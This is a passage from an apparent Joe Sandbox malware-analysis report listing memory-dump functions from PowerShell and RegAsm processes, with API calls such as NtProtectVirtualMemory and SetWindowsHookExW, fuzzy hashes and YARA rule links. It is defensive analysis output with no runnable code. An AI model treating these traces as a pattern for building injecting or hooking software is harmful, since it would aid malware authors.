Source File: 0000000D.00000002.2318293632.000000000341D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0341D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_341d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651bfc47247ba06114b607e4fcdd8ad1f8cc9ec806d76c15e247da73f9ffbbb3
Instruction ID: 58ecd0dc52de98edd047d71c6866bf11f256f54ccf0fd1b2282bbd8c23f35fa7
Opcode Fuzzy Hash: 651bfc47247ba06114b607e4fcdd8ad1f8cc9ec806d76c15e247da73f9ffbbb3
Instruction Fuzzy Hash: 0001217144E7C05FE7128B258994762BFB4DF43224F1D80DBD9848F293C2695845C772

Function 0341D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2318293632.000000000341D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0341D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_341d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b1188f571f8f91d5dc017837943091082ac18bbb3a64d6f2b03b2e4b5711985
Instruction ID: f0586df8961bed3ba87058fc9dfa957090855472e9229b6081c30f745e64cb0d
Opcode Fuzzy Hash: 4b1188f571f8f91d5dc017837943091082ac18bbb3a64d6f2b03b2e4b5711985
Instruction Fuzzy Hash: D601F7B1C047449AE7108A25CD80B77FF98DF42328F0CC05BDD585E242C6B89442C6B5

Analysis Process: RegAsm.exePID: 7412, Parent PID: 5512COMMON

Executed Functions

Function 015C2F19 Relevance: 2.0, APIs: 1, Instructions: 459
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 015C33F9

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 45d378282b314e69dd2b2918d6ecd500d0bf5ddc68484852df5c3385c3f56adc
Instruction ID: a9e8d6b0aed021f32485f7feaf62ccace9f0e8553e45973690b0421aeaf1c398
Opcode Fuzzy Hash: 45d378282b314e69dd2b2918d6ecd500d0bf5ddc68484852df5c3385c3f56adc
Instruction Fuzzy Hash: 26E16F31F0420A4BDF94CEED9C907AE76A37BC8A24F58C22DDA16DF385EA749901D741

Function 015C3370 Relevance: 1.6, APIs: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 015C33F9

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2c03b851b76e4dc74965eb5286758640787043961610ee7744bf5e34f368ece2
Instruction ID: e3d12b0386482c8bcd9c30ba0025c702e5b3d8aa69fd2268e7b93ff56176463b
Opcode Fuzzy Hash: 2c03b851b76e4dc74965eb5286758640787043961610ee7744bf5e34f368ece2
Instruction Fuzzy Hash: 1A21E3B5D013499FDB10CFAAD984ADEFBF5FF48710F20842AE519A7210C775A910CBA5

Function 06E085F9 Relevance: 1.5, Strings: 1, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

m, xrefs: 06E08600

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: 427bd613cdb6b365d19a7fda872201b005e5cd50ed99544d2191b3fd9b0b07eb
Instruction ID: 965de0219b8e2ec473ace42f3c04d7914c5753a26bfe029d3f9bd8f41a62e802
Opcode Fuzzy Hash: 427bd613cdb6b365d19a7fda872201b005e5cd50ed99544d2191b3fd9b0b07eb
Instruction Fuzzy Hash: C9B1B1B4A00205DFD744EFA8D848A6EBBF6FFC8300B15D569C50A8B3A5CE759D44CBA0

Function 078E6CA8 Relevance: .8, Instructions: 793COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29cbbc3f4a14d5cfeb1c8f38baffabeb4bb6170f09ac624d50b2fe01a2d93869
Instruction ID: 949583243ff5734ad4cf72c2e9d63f3aa9fc899c01b0218e6e94a20e2be7379d
Opcode Fuzzy Hash: 29cbbc3f4a14d5cfeb1c8f38baffabeb4bb6170f09ac624d50b2fe01a2d93869
Instruction Fuzzy Hash: 8F6228B0A00205DFCB14DFA8D884AADBBB6FF99310F158569E906DB3A5DB31DC45CB90

Function 078E60B8 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2dee59998ead659335b5c5d91d5d7887827f4b7cb16416e4fbcd3a3c5bb4415
Instruction ID: c9a489f767805f972be636d80d27d6a4f8b0db54de3c852b45ace43ebe1a6124
Opcode Fuzzy Hash: e2dee59998ead659335b5c5d91d5d7887827f4b7cb16416e4fbcd3a3c5bb4415
Instruction Fuzzy Hash: 993279B0B00305CFCB24DF28C54466ABBFABFA6315F14896DD506CB6A0EB75E881CB51

Function 078EA6D0 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87a804d9987cb5389d4e8de0c92ca951645f9ce170237c0dab5b0ca0637152cb
Instruction ID: b1c14f2aa862f57ee41f101c95eaff5f3d8b33e41863361e8f3814d10b8ef5b6
Opcode Fuzzy Hash: 87a804d9987cb5389d4e8de0c92ca951645f9ce170237c0dab5b0ca0637152cb
Instruction Fuzzy Hash: 20125AB4A00246DFC705DF68C584A6ABBF2FF89310B19C5A9E549DB362CB34EC45CB61

Function 078E83A8 Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf4ae7e56299d658ef68cd1103e58c4c10dea9bae9244495f18061f4925e5bd
Instruction ID: e01a3af98c724b3fe5cf5ead1ca6634ee612bc93467d83764db1eeed370dd64f
Opcode Fuzzy Hash: 9cf4ae7e56299d658ef68cd1103e58c4c10dea9bae9244495f18061f4925e5bd
Instruction Fuzzy Hash: 310256B4A00605CFDB25CF69C584AAEBBF6FF5A300F148969E856DB761DB34E841CB40

Function 06E086BE Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4d20dc0378fb2badb55039397604eac8968894c39a44542d6e7a0ba003a9ea
Instruction ID: b25ba14902d21610a521d0f651d6e4315d9bf2078c66f140c77095d783b6dde3
Opcode Fuzzy Hash: 9a4d20dc0378fb2badb55039397604eac8968894c39a44542d6e7a0ba003a9ea
Instruction Fuzzy Hash: F8C12874A00201DFEB44DBA8D858A7EBBE6FFC8304B15D46ED506CB3A5CE719C858B91

Function 06E0875B Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e110bd6cd44ff774f7b9a6a0751a2b23470813f7489418390834be4ef2dbaa
Instruction ID: 869c98533acade6b47607965235050bb3e0af2cee0345c8616e5912cdce06e7c
Opcode Fuzzy Hash: 49e110bd6cd44ff774f7b9a6a0751a2b23470813f7489418390834be4ef2dbaa
Instruction Fuzzy Hash: CAC107B4A00201DFEB44DBA8D858A7EBBE6EFC8304B15D42DD506CB3A5CF719C458B91

Function 06E086FF Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a610d2721b56413f9efa0b10f30df9ec732b6e3b8354446c2a938e0d0ae23f2
Instruction ID: ea6e6cd734af5d2dccb64ce0a48dab5957a6764558e30f7aad0b88d479495cad
Opcode Fuzzy Hash: 5a610d2721b56413f9efa0b10f30df9ec732b6e3b8354446c2a938e0d0ae23f2
Instruction Fuzzy Hash: D0B1F6B4A01201DFE748DBA8D858A7EBBF6EFC8300B15D56DD5068B3A5CF719C458B90

Function 06E0872D Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 326412cda049ff155103756696d34991260580451c02f3dff08f33148388498c
Instruction ID: 775615f2e4e9cf5568a71880e51e82695679d5a086177eda0411e2a19e6de27a
Opcode Fuzzy Hash: 326412cda049ff155103756696d34991260580451c02f3dff08f33148388498c
Instruction Fuzzy Hash: 11B1E574A01201DFE744DBA8D858A7EBBF6EFC8300B15D56DD50A8B3A6CF719C458B90

Function 06E087E6 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6a49220b6ff469e6306e726480758170456bd2f004b659da38c476486e0484
Instruction ID: 14787b3f4d8427632dd50c98394c3a31d98697bec303227b64b4340a62c30540
Opcode Fuzzy Hash: 5d6a49220b6ff469e6306e726480758170456bd2f004b659da38c476486e0484
Instruction Fuzzy Hash: 8FB1D4B4A01201DFE744DBA8D858A7ABBF6EFC8300B15D56DD5068B3A6CF719C458B90

Function 06E087C1 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bbf6898d7bf5731ee33ebb09f6a40ba7457ee8fb9f5843dd06a020aeccbcd61
Instruction ID: 4c946f116662dab508fd28a7d1f6e4f9c7e04bdac6adf2fab789cf848805e291
Opcode Fuzzy Hash: 8bbf6898d7bf5731ee33ebb09f6a40ba7457ee8fb9f5843dd06a020aeccbcd61
Instruction Fuzzy Hash: F2B1E4B4A01201DFE744DBA8D848A7EBBF6EFC8300B15D56DD50A8B3A6CF719C458B90

Function 06E0879C Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6d6982506ecb2901fb91bbc600a128fa73fbe9ca79fbefa432bcb0188693e5
Instruction ID: b6416252866f85d4ab8ccb1a5933a64ad2821f8a9e327a7d8237b44b8686b754
Opcode Fuzzy Hash: 9c6d6982506ecb2901fb91bbc600a128fa73fbe9ca79fbefa432bcb0188693e5
Instruction Fuzzy Hash: 3CB1E4B4A01201DFE744DBA8D858A7EBBE6EFC8300B15D56DD50A8B3A6CF719C458B90

Function 06E08A11 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40e8a99d0e74880b5fd25cd7d631972f7516cd3780a956e318a5ebe04e362f04
Instruction ID: c0823dce9424b0e092680d71a470202c78317650bba632bdc658c0e1583b895d
Opcode Fuzzy Hash: 40e8a99d0e74880b5fd25cd7d631972f7516cd3780a956e318a5ebe04e362f04
Instruction Fuzzy Hash: BD9192B4A00201DFD744DFA8D848A6EBBE6EFC8300F15D56DC50A8B3A5DE75AD458B90

Function 06E0888B Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2cff1e83b0301d0f80260df39ec39dac7d5c5fa0fc5f3be4d51fd308180d2d2
Instruction ID: eed3d0b4e9358e9c8ab40b3cadab79582c94c869d31e1fc8226e2d1d010d2433
Opcode Fuzzy Hash: c2cff1e83b0301d0f80260df39ec39dac7d5c5fa0fc5f3be4d51fd308180d2d2
Instruction Fuzzy Hash: 8391A2B4A00201DFD744EFA8D848A6EBBE6EFC8300F15D56DD50A8B3A5CE75AD458B90

Function 06E08809 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d71b5f5c464a252917b9f55d575f2224507f7b668d6223389d0bd0d308545e
Instruction ID: 3bb36741d4cd6200236f18c5b2db859bf44778d3bf93d9ae1684969e3420825f
Opcode Fuzzy Hash: 28d71b5f5c464a252917b9f55d575f2224507f7b668d6223389d0bd0d308545e
Instruction Fuzzy Hash: 2891A1B4A00201DFD744EFA8D848A6EBBF6EFC8300F15D56DC50A8B3A5DE75AD458B90

Function 06E08A5F Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 565e0e3ffa2e54abd0e24ba0049586b738899a10ecaa54b235f4013da0c9b99a
Instruction ID: b7fc60c877a6cbfdaadf5f836c43b4e72c6ea643cdc47d8368023e24fd92e0e9
Opcode Fuzzy Hash: 565e0e3ffa2e54abd0e24ba0049586b738899a10ecaa54b235f4013da0c9b99a
Instruction Fuzzy Hash: 2E9192B4A00201DFD744EFA8D848A6EBBE6EFC8300F15D56DC50A8B3A5DE75AD458B90

Function 015C8E92 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 015C8F16
GetCurrentThread.KERNEL32 ref: 015C8F53
GetCurrentProcess.KERNEL32 ref: 015C8F90
GetCurrentThreadId.KERNEL32 ref: 015C8FE9

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 2efa6a2c8cc38c61cda2e1f3d70a68ec176a6a02df326783815692df475ed785
Instruction ID: d2c01b7ae9b8ed90f70adace04492eb3cf205f600e1beed0137cb9e1c80beffd
Opcode Fuzzy Hash: 2efa6a2c8cc38c61cda2e1f3d70a68ec176a6a02df326783815692df475ed785
Instruction Fuzzy Hash: 1E5132B090064A8FEB14CFA9D548BAEBFF1FF88314F248459E119A7350DB74A944CB65

Function 015C8E98 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 015C8F16
GetCurrentThread.KERNEL32 ref: 015C8F53
GetCurrentProcess.KERNEL32 ref: 015C8F90
GetCurrentThreadId.KERNEL32 ref: 015C8FE9

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a04fd363fd858f9f28f669e983526afe15e158629dac68442c6b64cba0ab4f0d
Instruction ID: 079f2c313b1e1d7bfdde507906bf2992e631920f093ce0263e3078fca95064b3
Opcode Fuzzy Hash: a04fd363fd858f9f28f669e983526afe15e158629dac68442c6b64cba0ab4f0d
Instruction Fuzzy Hash: 005123B090074A8FEB14CFA9D948B9EBFF1FF88314F248459E119A7350DB74A944CB65

Function 015C90D8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 015C9167

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5698c8f6877f0ba8f69dcb99c020fb97cd4b73354818522b3690973d7d131141
Instruction ID: 226e8e4dce56beb7fa39db1b7f47e3dfad3f4d616f627d4d69748e2d9d937c0a
Opcode Fuzzy Hash: 5698c8f6877f0ba8f69dcb99c020fb97cd4b73354818522b3690973d7d131141
Instruction Fuzzy Hash: 772105B59002499FDB10CF9AD984ADEBBF4FB48724F14841AE918A7310D378A950CF61

Function 015C90E0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 015C9167

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 699eded1c2c74fc36e49e736490d0b7d77d88ccd6daa660b418cba7996a2fd92
Instruction ID: 7a28b913d3d3b4030a5faac4a1aff97eb390273482b4a76c9c103bc0d6e42f3e
Opcode Fuzzy Hash: 699eded1c2c74fc36e49e736490d0b7d77d88ccd6daa660b418cba7996a2fd92
Instruction Fuzzy Hash: 6A21C4B5900249DFDB10CFAAD984ADEBFF4FB48724F14841AE918A7310D378A954CF65

Function 015C3CF0 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 015C3D73

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 82c6dc9cea571ee9f7c1ae2fd1898d96c2bbfe84127b5038f1f33fe82357759e
Instruction ID: 91a699a6dd9df2b805c4a94744c7e53d0cdd018a2e954664ab3fa33a357f25e8
Opcode Fuzzy Hash: 82c6dc9cea571ee9f7c1ae2fd1898d96c2bbfe84127b5038f1f33fe82357759e
Instruction Fuzzy Hash: 09213875D002499FDB14CF9AC844BDEFBF5BF88720F108419D519A7250CB74A940CFA1

Function 015C3CF8 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 015C3D73

Memory Dump Source

Source File: 0000001A.00000002.4667079184.00000000015C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15c0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 606b32c3a2038f2cad39debf13f96f3784953b7af872699187177c1a3af1cc19
Instruction ID: 59983413f7168192330b5296db0f371adf03a7a0073b9877a1db251bc71f52ab
Opcode Fuzzy Hash: 606b32c3a2038f2cad39debf13f96f3784953b7af872699187177c1a3af1cc19
Instruction Fuzzy Hash: CD2115B5D002499FDB54CF9AC844BDEBBF5BF88720F108419D519A7250CB74A944CFA1

Function 078EDDA0 Relevance: 1.5, Strings: 1, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kTek^, xrefs: 078EE108

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID: kTek^
API String ID: 0-2716913339
Opcode ID: 25fcf7514a5863e83ca1624e1613fdd14d86e91cee39383fc2e3e8d04eb3f9b9
Instruction ID: 558668371108a9b7a2686b327a9b51103e586426f25cc59458401906b3392118
Opcode Fuzzy Hash: 25fcf7514a5863e83ca1624e1613fdd14d86e91cee39383fc2e3e8d04eb3f9b9
Instruction Fuzzy Hash: 78918B707002069FE754DF28D894BAA7BE6BF89304F208169D5068F395DFB5EC46CB80

Function 078EDDC8 Relevance: 1.5, Strings: 1, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kTek^, xrefs: 078EE108

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID: kTek^
API String ID: 0-2716913339
Opcode ID: ffe3c32a30068b0d98ca63b61e512e1d067e0425f4ea0b37df0ae1c149ee74d1
Instruction ID: 111c885c8bfd46c48442798d0b84a98a3fac748c9dbb5ec83e7a1ea30cc1924c
Opcode Fuzzy Hash: ffe3c32a30068b0d98ca63b61e512e1d067e0425f4ea0b37df0ae1c149ee74d1
Instruction Fuzzy Hash: D4918C707002069FE754DF28D894B6A7BE6BB89304F609268D5068F3A5CFB5EC46CB81

Function 078E4D90 Relevance: 1.5, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7, xrefs: 078E4E7C

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: a683a4747a73a2555db98059a8474dcb8a7e2158b6eaec941471f1a5bc3d91dc
Instruction ID: 56be7a2991c3001ccbbfa6d5855b8c13dd7ca77b9f7a9c8363dd9fb294b9c933
Opcode Fuzzy Hash: a683a4747a73a2555db98059a8474dcb8a7e2158b6eaec941471f1a5bc3d91dc
Instruction Fuzzy Hash: 9C61D2B1B00352DFD715DF39C854A2AB7A6EFDA320B158569E40ACB391CB35DC05CB91

Function 06E0F448 Relevance: 1.4, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 06E0F512

Memory Dump Source

Source File: 0000001A.00000002.4695354466.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6e00000_RegAsm.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: ffec796ce470e3eb502b9b2b2ce3a9822949fc7bf6aebc5f111fd6e67e982d9b
Instruction ID: 6f4e6a30329b09c0419839d95f5e17f6d2a3c489e20dddd2f883848649a35e41
Opcode Fuzzy Hash: ffec796ce470e3eb502b9b2b2ce3a9822949fc7bf6aebc5f111fd6e67e982d9b
Instruction Fuzzy Hash: 84513335B043509FD7719F28E85096ABBF6EFC5664315C8AAD949CB391DA30EC82C790

Function 078EAC88 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

@, xrefs: 078EADF0

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c74ab2b52a7e091ea558528916bd74c01b013e921ac8489321f01c5db71b7776
Instruction ID: a3d8d88cf28b8554c93d02a9ba6be900e65092ea3ea7d431d7e95b992267f50d
Opcode Fuzzy Hash: c74ab2b52a7e091ea558528916bd74c01b013e921ac8489321f01c5db71b7776
Instruction Fuzzy Hash: 6A515CB5A002199FCB19CF68C884AAEBBF5FF5A210F14C069E915EB351D730D954CB91

Function 07BC5E97 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

&, xrefs: 07BC5F61

Memory Dump Source

Source File: 0000001A.00000002.4698490960.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7bc0000_RegAsm.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-3042966939
Opcode ID: 6d95471caebf7b231d5e86620ef07a717672b6457020ebb0a2298dcb9fdeb763
Instruction ID: 999c03fdb87afec1a290cd7d885ab508167aa0f81eb5d57136713fa2c33e3665
Opcode Fuzzy Hash: 6d95471caebf7b231d5e86620ef07a717672b6457020ebb0a2298dcb9fdeb763
Instruction Fuzzy Hash: 5751D7B0A00219DFEB64DF69C854B9DBBB2BF89304F5084A9D409AB364DB309D85CF41

Function 078EAC77 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

@, xrefs: 078EACBA

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6bd288cd428fff03450139a97d22bf558ed567cb8139495d22631f1a09cc37fe
Instruction ID: db314ae0993dcebec516d4ea646087b6fc4e563bda6bfb0eb2d8f4b6c0a3938b
Opcode Fuzzy Hash: 6bd288cd428fff03450139a97d22bf558ed567cb8139495d22631f1a09cc37fe
Instruction Fuzzy Hash: BA217171A00219AFCB15CF68C884AFEBBF9BF4A314F04C169E914D7255D731DA55CB90

Function 078EE220 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

3Tek^, xrefs: 078EE2A9

Memory Dump Source

Source File: 0000001A.00000002.4697786366.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_78e0000_RegAsm.jbxd

Similarity

API ID:
String ID: 3Tek^
API String ID: 0-2845002417
Opcode ID: 2606e9599b55ccc32963a210bd51b001c0394ebd761d0bb9fc06712e84d0a7ac
Instruction ID: de359769d3c9c5ac7cc747f3a86526a34b09b92022503cb2639092e151861dd0
Opcode Fuzzy Hash: 2606e9599b55ccc32963a210bd51b001c0394ebd761d0bb9fc06712e84d0a7ac
